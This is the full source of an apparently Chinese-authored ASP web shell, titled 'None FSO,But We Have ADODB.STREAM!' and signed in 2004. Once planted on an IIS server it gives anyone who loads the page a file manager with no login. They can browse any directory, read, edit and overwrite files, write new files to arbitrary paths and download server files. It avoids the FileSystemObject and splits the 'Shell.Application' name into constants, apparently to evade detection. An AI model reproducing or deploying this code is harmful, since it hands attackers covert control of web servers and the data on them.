<%
Const She = "Shell"
Const APP = "Application"
Const SelfName = "test.asp"
Const NormalString = "欢迎使用本系统"
Dim CreateType
CreateType = Trim(Request("Type"))
If CreateType <> "" And IsNumeric(CreateType) Then
CreateType = Clng(CreateType)
Else
CreateType = 0
End If
SELECT CASE CreateType
CASE 0
Call Main()
CASE 1
Call ReadData()
CASE 2
Call WriteData()
CASE 3
Call DownLoad()
End SELECT
SUB WriteData()
Dim FileName,X,FileContent,FileNameString
FileName = Trim(Request("FileName"))
If FileName = "" Then
Response.write NormalString
Exit SUB
End If
FileContent = Trim(Request("Content"))
Set X = Server.CreateObject("ADODB.Stream")
With X
.Type = 2
.MODE = 3
.OPEN
.Charset ="gb2312"
.WriteText FileContent
.Position = 2
.SaveToFile FileName,2
.Close
End With
Response.Write("<TABLE width=98% border=0 align=center cellpadding=5 cellspacing=0 bgcolor=#f6f6f6><TR><TD bgcolor=#e6f0ff><STRONG>文件数据更新程序</STRONG></TD></TR><TR style='color:#FFFFFF'>")
Response.Write("<TD BGCOLOR=#7896CD HEIGHT=25>·文件数据写入操作 ·<a href=""javascript:history.go(-1);""><font color=#FFFFFF>返回上一页</font></a></TD></TR><TR><TD BGCOLOR=#FFFFFF HEIGHT=35><font color=#7896CD>操作结果:</font>文件数据已经写入成功...</TD>")
Response.Write("</TR></TABLE>")
End SUB
SUB DownLoad()
Dim FileName,X,FileContent,FileNameString
FileName = Trim(Request("FileName"))
If FileName = "" Then
Response.write NormalString
Exit SUB
End If
FileContent = Split(FileName,"\")
FileNameString = FileContent(UBound(FileContent))
Call UseStream(FileName,FileNameString)
End SUB
SUB ReadData()
Dim FileName,X,FileContent,FileType,Vtype
FileName = Trim(Request("FileName"))
If FileName = "" Then
Response.write NormalString
Exit SUB
End If
Set X = Server.CreateObject("ADODB.Stream")
With X
.Type = 2
.MODE = 3
.OPEN
.LOADFROMFILE FileName
If Trim(Request("ViewType")) = "" Then
.Charset ="gb2312"
.Position = 2
VType = "1"
Else
VType = ""
End If
FileContent = .ReadText()
.Close
End With
%>
<body onload="javascript:parent.OnlineView.height=this.document.body.scrollHeight+10;" leftmargin="0" topmargin="0">
<center><form name=form1 action="<%=SelfName%>?Type=2&FileName=<%=FileName%>" method=Post><textarea Name=Content cols=75 rows=25><%=Replace(FileContent,"<","<")%></textarea><br><br>
<input type=button value=保存修改 onclick="document.all.form1.submit();"> <input type=button value=内容另存 name=add id=add onclick="addn()"> <input type=button value=转换编码 onclick="javascript:location.href='<%=SelfName%>?Type=1&FileName=<%=Replace(FileName,"\","\\")%>&ViewType=<%=VType%>';"><font color=red>如果在显示不正常时强行插入数据会导致文件损坏,这时可以使用转换编码按钮转换一下编码方式读取,直到能正常显示字符方可写入数据</font></form></center>
<script language="javascript">
setTimeout('view()',500);
function view(){
parent.Load.style.display='none';
parent.Loaded.style.display='block';
parent.OnlineView.height=this.document.body.scrollHeight+10;
}
</script>
<script language="vbscript">
sub addn()
Filename = InputBox("请输入新文件的完整路径[包括文件名]","","<%=FileName%>")
If Filename <> "" Then
document.all.form1.action="<%=SelfName%>?Type=2&FileName=" & Filename
document.all.form1.submit
End If
end sub
</script>
<%
End SUB
Function GetContentType(FlName)
Select Case GetFileTypeName(flName)
Case "asf"
GetContentType = "video/x-ms-asf"
Case "avi"
GetContentType = "video/avi"
Case "doc"
GetContentType = "application/msword"
Case "zip"
GetContentType = "application/zip"
Case "xls"
GetContentType = "application/vnd.ms-excel"
Case "gif"
GetContentType = "image/gif"
Case "jpg", "jpeg"
GetContentType = "image/jpeg"
Case "wav"
GetContentType = "audio/wav"
Case "mp3"
GetContentType = "audio/mpeg3"
Case "mpg", "mpeg"
GetContentType = "video/mpeg"
Case "rtf"
GetContentType = "application/rtf"
Case "htm", "html"
GetContentType = "text/html"
Case "txt"
GetContentType = "text/plain"
Case Else
GetContentType = "application/octet-stream"
End Select
End Function
Function GetFileTypeName(FldName)
If InStr(FldName, ".") > 0 Then
Dim FiNameStr
FiNameStr = Split(FldName,".")
GetFileTypeName = Lcase(FiNameStr(UBound(FiNameStr)))
Else
GetFileTypeName = "unknow"
End If
End Function
SUB UseStream(FileName,FileNameString)
Dim FileStream,File,FileContentType,IsAttachment
Set FileStream = Server.CreateObject("ADODB.Stream")
FileStream.Open
FileStream.Type = 1
File = FileName
FileStream.LoadFromFile(File)
FileContentType = GetContentType(FileName)
IsAttachment = "attachment; "
Response.AddHeader "Content-Disposition", IsAttachment & "filename=" & FileNameString 'attachment;
Response.AddHeader "Content-Length", FileStream.Size
Response.Charset = "UTF-8"
Response.ContentType = FileContentType
Response.BinaryWrite FileStream.Read
Response.Flush
FileStream.Close
Set FileStream = Nothing
End SUB
Function CreateProgID(Var1,Var2)
CreateProgID = Var1 & "." & Var2
End Function
Function bin2str2(binstr)
Dim BytesStream,StringReturn
Set BytesStream = Server.CreateObject("ADODB.Stream")
With BytesStream
.Type = 2
.Open
.WriteText binstr
.Position = 0
.Charset = "GB2312"
.Position = 2
StringReturn = .ReadText(.Size)
.close
End With
Set BytesStream = Nothing
bin2str2 = StringReturn
End Function
SUB GetFolder(FolderName)
dim FileContent,FileNameString
set sl=server.createobject(CreateProgID(She,APP))
XA = FolderName
if (XA <> "") then
set fod1=sl.namespace(XA)
set foditems=fod1.items
for each co in foditems
If co.isfolder Then response.write "<font color=#FCC000>[</font> <a href=""?DirName=" & co.path & """><font color=black>" & Replace(Replace(Right(co.path,Len(co.path) - Len(XA)),"\",""),"/","") & "</font></a><font color=#FCC000>]</font><br>" & VBCRLF
next
End If
End SUB
SUB GetFiler(FolderName)
set sl=server.createobject(CreateProgID(She,APP))
XA = FolderName
if (XA <> "") then
set fod1=sl.namespace(XA)
set foditems=fod1.items
for each co in foditems
If Not co.isfolder Then response.write " <a href=#this onclick=""DownLoad('" & Replace(co.path,"\","\\") & "')""><font color=#999900>Ξ</font></a> <a href=#this onclick=""GetFileContent('" & Replace(co.path,"\","\\") & "')""><font color=black>" & Replace(Replace(Right(co.path,Len(co.path) - Len(XA)),"\",""),"/","") & "</font></a> <font color=#999999> - <font color=#0099FF>" & co.size & "</font> Bytes</font><br>" & VBCRLF
next
End If
End SUB
SUB Main()
Dim obj,shell
If Trim(Request("DirName")) = "" Then
LocDirName = SERVER.MapPath(".")
Else
LocDirName = Trim(Request("DirName"))
End If
If Right(LocDirName,1) = ":" Then LocDirName = LocDirName & "\"
RootDirName = Replace(Left(LocDirName,3),"\","\\")
ParentDirName = ""
If Instr(LocDirName,"\") And Right(LocDirName,2) <> ":\" Then
DirNameArray = Split(LocDirName,"\")
ParentDirName = Left(LocDirName,Len(LocDirName) - Len(DirNameArray(Ubound(DirNameArray))))
If Right(ParentDirName,1) = "\" And Right(ParentDirName,2) <> ":\" Then ParentDirName = Left(ParentDirName,Len(ParentDirName) - 1)
ParentDirName = Replace(ParentDirName,"\","\\")
End If
%>
<body>
<div id="MaoDiv" style="background: #F7FBFF;position: absolute; width:250px; height:60px; left:100; top:40; display:none; z-index:9;border-right: 1px solid #e6f0ff;border-left: 1px solid #e6f0ff;border-top: 1px solid #e6f0ff;border-bottom: 1px solid #e6f0ff;"></div>
<table border=0 width=100% cellspacing="0" cellpadding="3">
<tr><td colspan=2 height=25>
<font style="font-size:12px" face=Arial><b> 叼牌纯种马.不含防腐剂.不用FSO.日行千里.夜行...不跑做爱</b></font>
</td></tr>
<tr><td colspan=2 height=5 bgcolor=#89b7f0></td></tr>
<tr>
<td valign=top bgcolor=#F6F6F6 width=35% style="border-right: 1px solid #e6f0ff;">
<font color=red><b>子目录/文件列表</b></font>: <br>当前所处目录 - <font color=blue><%=LocDirName%></font> <br><font color=#999999 style="cursor:hand" onclick="ChangeDir()">[更改目录]</font> <% If ParentDirName <> "" Then %><font color=#999999 style="cursor:hand" onclick="javascript:location.href='<%=SelfName%>?DirName=<%=ParentDirName%>';">[向上一层]</font> <font color=#999999 style="cursor:hand" onclick="javascript:location.href='<%=SelfName%>?DirName=<%=RootDirName%>';">[回根目录]</font><% End If %><hr size=2 color=#0099FF width=100% align=left>
<%
Call GetFolder(LocDirName)
Call GetFiler(LocDirName)
%>
</td>
<td width=65% Align=center valign=top>
<table border=0 width=100% align=center class="table2">
<tr id="OnlineView">
<td align=center valign=top>
<div id="normal" style="display:block"><%=NormalString%></div>
<div id="Load" style="display:none" align=center>
<br><br>正在获取数据...</div>
<div id="Loaded" style="display:none">
<iframe id="ListView" name="ListView" frameborder="0" scrolling="no" valign="top" width="100%" height="100%"></iframe></div>
</td></tr></table>
</td>
</tr>
<tr><td colspan=2 height=5 bgcolor=#89b7f0></td></tr>
<tr>
</td>
<td colspan=2 Align=Right style="font-family:sans-serif,Verdana,宋体;font-size:11px;color:#999999">2:07 2004-10-8 DLL与小生两个贱人乱涂乱画</td>
</tr>
</table>
</body>
<%
End SUB
%>
<head>
<title>None FSO,But We Have ADODB.STREAM!</title>
<script>
function GetFileContent(FileName){
parent.Load.style.display = 'block';
parent.normal.style.display = 'none';
parent.Loaded.style.display = 'none';
ListView.location.href = '<%=SelfName%>?Type=1&FileName=' + FileName;
}
function DownLoad(FileName){
Load.style.display = 'block';
normal.style.display = 'none';
Loaded.style.display = 'none';
ListView.location.href = '<%=SelfName%>?Type=3&FileName=' + FileName;
setTimeout("hide()",2000);
}
function hide(){
Load.style.display = 'none';
normal.style.display = 'block';
}
function ChangeDir(){
if(MaoDiv.style.display=='block')
{
MaoDiv.style.display = 'none';}
else
{
MaoDiv.style.display = 'block';
MaoDiv.innerHTML = "<CENTER><br> <input type=text name=DirName id=DirName VALUE=新目录名> <input type=button onclick=\'javascript:if(DirName.value!=\"\"&&DirName.value!=\"新目录名\"){location.href=\"<%=SelfName%>?DirName=\" + DirName.value;}\' value=确定> <font color=#999999 style=\'cursor:hand\' onclick=\'ChangeDir()\'>按此关闭</font></CENTER>";}
MaoDiv.style.posLeft = window.event.x - 100;
if(MaoDiv.style.posLeft < 0){
MaoDiv.style.posLeft = 0;
}
MaoDiv.style.posTop = window.event.y + document.body.scrollTop - 10;
}
</script>
<style type="text/css">
BODY,TD {
FONT-SIZE: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "11px" end if%>; FONT-FAMILY: sans-serif,Verdana,宋体
background-attachment: fixed;
background-repeat: repeat-y;
background-position: center;
}
Input {
font-family: "宋体", "Verdana", "Arial";
font-size: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "12px" end if%>;
font-style: normal;
line-height: normal;
font-weight: normal;
font-variant: normal;
height: 18px;
border-right: 1px solid #e6f0ff;
border-left: 1px solid #e6f0ff;
border-top: 1px solid #e6f0ff;
border-bottom: 1px solid #e6f0ff;
}
A:link {
COLOR: #000000
}
A:visited {
COLOR: #000000
}
A:active {
COLOR: #000000
}
A {
COLOR: #000000; TEXT-DECORATION: none
}
A:hover {
COLOR: #495E6E
}
table{
border-bottom: 1px solid #e6f0ff;
border-top: 1px solid #e6f0ff;
border-left: 1px solid #e6f0ff;
border-right: 1px solid #e6f0ff;
padding:0px
}
.table2{
border-bottom: 0px;
border-top: 0px;
border-left: 0px;
border-right: 0px;
padding:0px
}
textarea {
font-family: "宋体","Arial";
font-size: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "12px" end if%>;
font-style: normal;
line-height: normal;
font-weight: normal;
font-variant: normal;
background:#e6f0ff;
border-bottom: 1px solid #e6f0ff;
border-top: 1px solid #e6f0ff;
border-left: 1px solid #e6f0ff;
border-right: 1px solid #e6f0ff;
padding:0px
}
</style>
</head>